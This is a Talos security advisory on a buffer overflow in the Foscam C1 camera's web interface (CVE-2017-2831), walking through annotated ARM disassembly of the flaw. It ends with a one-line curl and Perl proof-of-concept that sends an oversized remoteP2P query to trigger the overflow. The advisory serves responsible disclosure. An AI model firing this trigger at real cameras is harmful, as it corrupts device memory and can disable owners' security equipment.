Talos Vulnerability Report

TALOS-2017-0332

Foscam IP Video Camera CGIProxy.fcgi Query Append Buffer Overflow Vulnerability

June 19, 2017
CVE Number

CVE-2017-2831

Summary

An exploitable buffer overflow vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.37. A specially crafted HTTP request can cause a buffer overflow resulting in overwriting arbitrary data. An attacker can simply send an HTTP request to the device to trigger this vulnerability.

Tested Versions

Foscam, Inc. Indoor IP Camera C1 Series

System Firmware Version: 1.9.3.17
Application Firmware Version: 2.52.2.37
Web Version: 2.0.1.1
Plug-In Version: 3.3.0.5

Product URLs

Foscam

CVSSv3 Score

9.1 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

CWE

CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Details

Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market.

When the "CGIProxy.fcgi" service is started, the service will first enter the FCGX_Init function. After initializing the FastCGI service and then register a couple of message callbacks, the service will initialize the request. This request will be used in a loop in order to read requests that are submitted by the http daemon that is hosting this FastCGI server.

.text:00009F20                       FCGX_Init_1f20
.text:00009F20
.text:00009F20 F0 41 2D E9                       STMFD   SP!, {R4-R8,LR}
.text:00009F24 41 DE 4D E2                       SUB     SP, SP, #0x410
.text:00009F28 08 D0 4D E2                       SUB     SP, SP, #8
.text:00009F2C 05 FC FF EB                       BL      FCGX_Init
.text:00009F2C
.text:00009F30 00 10 50 E2                       SUBS    R1, R0, #0
.text:00009F34 44 01 9F 15                       LDRNE   R0, =str.FCGX_Initfailed
.text:00009F38 05 00 00 1A                       BNE     leave_exit_1f54
.text:00009F3C
.text:00009F3C 40 01 9F E5                       LDR     R0, =gv_theRequest_10b74
.text:00009F40 01 20 A0 E1                       MOV     R2, R1
.text:00009F44 1A FC FF EB                       BL      FCGX_InitRequest
.text:00009F48
.text:00009F48 00 00 50 E3                       CMP     R0, #0
.text:00009F4C 03 00 00 0A                       BEQ     loc_9F60

After registering the message handlers and initializing the request, the service will enter the following loop to handle each request that was forwarded by the http daemon. This loop will receive each request, decode it, and then determine how each request should be handled.

.text:00009F6C                       loop_outer_1f6c
.text:00009F6C 10 01 9F E5                       LDR     R0, =gv_theRequest_10b74
.text:00009F70 3F FC FF EB                       BL      FCGX_Accept_r
.text:00009F70
.text:00009F74 00 40 50 E2                       SUBS    R4, R0, #0
.text:00009F78 3A 00 00 1A                       BNE     return(0)_2068
...
.text:0000A048                       continue_outer_2048
.text:0000A048 34 00 9F E5                       LDR     R0, =gv_theRequest_10b74
.text:0000A04C F3 FB FF EB                       BL      FCGX_Finish_r
.text:0000A050
.text:0000A050 48 20 9F E5                       LDR     R2, =byte_13274
.text:0000A054 00 30 A0 E3                       MOV     R3, #0
.text:0000A058 00 30 C2 E5                       STRB    R3, [R2]
.text:0000A05C
.text:0000A05C 40 20 9F E5                       LDR     R2, =byte_13275
.text:0000A060 00 30 C2 E5                       STRB    R3, [R2]
.text:0000A064 C0 FF FF EA                       B       loop_outer_1f6c

Once calling FCGX_Accept, the function at [1] will be called. This function will determine what type of http request is being made. This can be a GET request, a POST request, or an unknown. If a GET request is made, this function will return 0 and then proceed to call the function at [2]. The function at [2] will also pass a global variable [3] which contains a number of buffers that can each be overflown.

.text:00009F7C 0C 01 9F E5                       LDR     R0, =gv_globalContent_280
.text:00009F80 73 FC FF EB                       BL      nullsub_1
.text:00009F80
.text:00009F84 04 01 9F E5                       LDR     R0, =gv_globalContent_280
.text:00009F88 DC FC FF EB                       BL      sub_9300                           ; [1] return request type
.text:00009F8C
.text:00009F8C 01 00 50 E3                       CMP     R0, #1
.text:00009F90 00 50 A0 E1                       MOV     R5, R0
.text:00009F94 2B 00 00 8A                       BHI     continue_outer_2048
.text:00009F98
.text:00009F98 F0 00 9F E5                       LDR     R0, =gv_globalContent_280          ; [3] buffer that's overwritten.
.text:00009F9C 36 FE FF EB                       BL      sub_987C                           ; [2]

Inside the function, the service will use FCGX_GetParam [4] to fetch the query string as provided by the FastCGI protocol. If the query string exists, then it will calculate the strlen at [5], and then pass it through a URL decoder [6] to process any encoded characters. Immediately afterwards, the function call at [7] will check to see that the query string is no larger than 0x400 bytes. Afterwards, the service will copy the decoded string into the global buffer at [8]. The structure of the global sets aside only 0x400 bytes of space for the query. Later, this buffer will be appended to, causing a buffer overflow.

.text:0000987C                       sub_987C
.text:0000987C
.text:0000987C F0 40 2D E9                       STMFD   SP!, {R4-R7,LR}
.text:00009880 7C 71 9F E5                       LDR     R7, =gv_theRequest_10b74
.text:00009884 24 D0 4D E2                       SUB     SP, SP, #$ F987C.lv_pidString_24+0x10
.text:00009884
.text:00009888 00 40 A0 E1                       MOV     R4, R0                             ; global content argument from caller
.text:0000988C 14 10 97 E5                       LDR     R1, [R7,#(dword_18B88 - 0x18B74)]
.text:00009890 70 01 9F E5                       LDR     R0, =str.QUERY_STRING
.text:00009894 B1 FD FF EB                       BL      FCGX_GetParam                      ; [4] fetch query string
.text:00009894
.text:00009898 00 60 50 E2                       SUBS    R6, R0, #0
.text:0000989C 0C 00 00 1A                       BNE     hasQueryString_18d4
...
.text:000098D4                       hasQueryString_18d4
.text:000098D4 7A FD FF EB                       BL      strlen                             ; [5] calculate strlen
.text:000098D8
.text:000098D8 06 10 A0 E1                       MOV     R1, R6
.text:000098DC 00 20 A0 E1                       MOV     R2, R0
.text:000098E0 04 00 A0 E1                       MOV     R0, R4                             ; global content argument
.text:000098E4 9A FF FF EB                       BL      sub_9754                           ; [6] url decode
.text:000098E8
.text:000098E8 04 00 A0 E1                       MOV     R0, R4
.text:000098EC 06 10 A0 E1                       MOV     R1, R6
.text:000098F0 18 FE FF EB                       BL      sub_9158                           ; [7] check length
.text:000098F4
.text:000098F4 00 00 50 E3                       CMP     R0, #0
.text:000098F8 00 50 A0 13                       MOVNE   R5, #0
.text:000098FC 3D 00 00 1A                       BNE     return(@r5)_19f8
...
.text:00009900 04 50 84 E2                       ADD     R5, R4, #globalContent.v_queryBuffer_0+4
.text:00009904 06 10 A0 E1                       MOV     R1, R6
.text:00009908 05 00 A0 E1                       MOV     R0, R5
.text:0000990C DE FD FF EB                       BL      strcpy                             ; [8] strcpy into buffer

After the buffer has been written into the global, the following code will be executed. This code will first grab the "REMOTE_ADDR" parameter [9] and then append the "remoteIp=" string to the buffer [10]. Due to the buffer being only 0x400 bytes, this will write the string outside the bounds of the global buffer. Afterwards, the service will search for the "remoteP2P=" string in the query [11]. If this value is found, it will also be appended to the global at [12]. If not, the shorter address from the REMOTE_ADDR request will be appended. Either one of these values will write after the 0x400 bytes leading to a buffer overflow.

.text:00009910 14 10 97 E5                       LDR     R1, [R7,#(dword_18B88 - 0x18B74)]
.text:00009914 F4 00 9F E5                       LDR     R0, =str.REMOTE_ADDR
.text:00009918 90 FD FF EB                       BL      FCGX_GetParam                          ; [9]
.text:0000991C 00 70 50 E2                       SUBS    R7, R0, #0
.text:00009920 02 00 00 0A                       BEQ     invalidAddress_1930
.text:00009924
.text:00009924 00 30 D7 E5                       LDRB    R3, [R7]
.text:00009928 00 00 53 E3                       CMP     R3, #0
.text:0000992C 0C 00 00 1A                       BNE     appendRemoteIp_1964
...
.text:00009964                       appendRemoteIp_1964
.text:00009964 02 6B 84 E2                       ADD     R6, R4, #globalContent.v_buffer?_800
.text:00009968 A8 10 9F E5                       LDR     R1, =str.remoteIp
.text:0000996C 04 60 86 E2                       ADD     R6, R6, #globalContent.v_buffer?_800+4-0x800
.text:00009970 05 00 A0 E1                       MOV     R0, R5                         ; destination
.text:00009974 3D FD FF EB                       BL      strcat                         ; [10] writes outside of bounds
.text:00009978
.text:00009978 05 10 A0 E1                       MOV     R1, R5
.text:0000997C 04 00 A0 E1                       MOV     R0, R4
.text:00009980 94 20 9F E5                       LDR     R2, =str.remoteP2P
.text:00009984 06 30 A0 E1                       MOV     R3, R6
.text:00009988 FB FD FF EB                       BL      sub_917C                       ; [11] search for "remoteP2P="
.text:00009988
.text:0000998C 00 00 50 E3                       CMP     R0, #0
.text:00009990 06 10 A0 01                       MOVEQ   R1, R6
.text:00009994 05 00 A0 E1                       MOV     R0, R5                         ; dest
.text:00009998 07 10 A0 11                       MOVNE   R1, R7
.text:0000999C 33 FD FF EB                       BL      strcat                         ; [12]

Immediately following this code, another string will be appended to the already overflow buffer. This code will grab the current process id [13], convert it to a string [14], and then write it into a temporary buffer on the stack. After this is done, the service will then append the "&pid=" string to the global buffer [15], followed by the process id that was earlier converted to a string [16].

.text:000099A0                       loc_99A0
.text:000099A0 44 38 94 E5                       LDR     R3, [R4,#globalContent.v_pid?_844]
.text:000099A4 74 20 9F E5                       LDR     R2, =0x7FFD
.text:000099A8 01 30 83 E2                       ADD     R3, R3, #1
.text:000099AC 02 00 53 E1                       CMP     R3, R2
.text:000099B0 44 38 84 E5                       STR     R3, [R4,#globalContent.v_pid?_844]
.text:000099B4 00 30 A0 C3                       MOVGT   R3, #0
.text:000099B8 44 38 84 C5                       STRGT   R3, [R4,#globalContent.v_pid?_844]
.text:000099BC 55 FD FF EB                       BL      getpid                                 ; [13] get the process id
.text:000099BC
.text:000099C0 44 28 94 E5                       LDR     R2, [R4,#globalContent.v_pid?_844]
.text:000099C4 58 30 9F E5                       LDR     R3, =gv_pid?_b278
.text:000099C8 58 10 9F E5                       LDR     R1, =str.u
.text:000099CC 0D 40 A0 E1                       MOV     R4, SP
.text:000099D0 00 28 82 E1                       ORR     R2, R2, R0,LSL#16
.text:000099D4 00 20 83 E5                       STR     R2, [R3]
.text:000099D8 0D 00 A0 E1                       MOV     R0, SP
.text:000099DC 7A FD FF EB                       BL      sprintf                                ; [14] convert to a string
.text:000099DC
.text:000099E0 44 10 9F E5                       LDR     R1, =str.pid
.text:000099E4 05 00 A0 E1                       MOV     R0, R5
.text:000099E8 20 FD FF EB                       BL      strcat                                 ; [15] append "&pid=" to global
.text:000099E8
.text:000099EC 05 00 A0 E1                       MOV     R0, R5
.text:000099F0 0D 10 A0 E1                       MOV     R1, SP
.text:000099F4 1D FD FF EB                       BL      strcat                                 ; [16] append process id string

Exploit Proof-of-Concept

To trigger this request, this can be done with the combination of command line http client and Perl for generating the buffer. The buffer's size is 0x400 bytes. However, due to a string concatenation it can be made to overwrite data after the buffer. The usage of the "remoteP2P" parameter will cause up to 0x400 more bytes to be overwritten. The following command should trigger the vulnerability.

$ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?"`perl -e '$_="remoteP2P=";print $_."A"x(0x400-length($_))'`

Timeline

2017-05-08 - Vendor Disclosure
2017-06-19 - Public Release

Credit

Discovered by Claudio Bozzato and another member of Cisco Talos.